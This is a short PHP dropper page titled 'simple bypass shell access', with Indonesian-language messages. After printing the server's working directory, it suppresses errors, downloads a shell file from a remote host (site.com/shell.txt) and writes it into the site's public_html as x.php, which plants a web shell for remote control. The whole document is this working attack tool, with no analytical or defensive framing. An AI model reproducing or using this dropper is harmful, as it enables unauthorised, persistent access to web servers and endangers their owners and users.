simple bypass shell access

<STYLE>
body {
background-image: url("http://oi59.tinypic.com/s440wm.jpg");
background-position:  center;
background-repeat: no-repeat;
background-color: #000000;
background-attachment: fixed;
}
</STYLE>
<table width=100% cellspacing=100 cellpadding=165><tr><td align=center><font color=white>
assalamualaikum<br>
<?php
echo "CWD => ". getcwd();
?>
<br><br>
<?php
error_reporting(0);

$li=file_get_contents("http://site.com/shell.txt");  //lokasi shell
$nf=fopen("/home/user/public_html/x.php",'w');
$yes=fwrite($nf,$li);
if($yes)
{
echo "<br>done,selamat ya";
}
else {
echo "maaf :(";

}

?>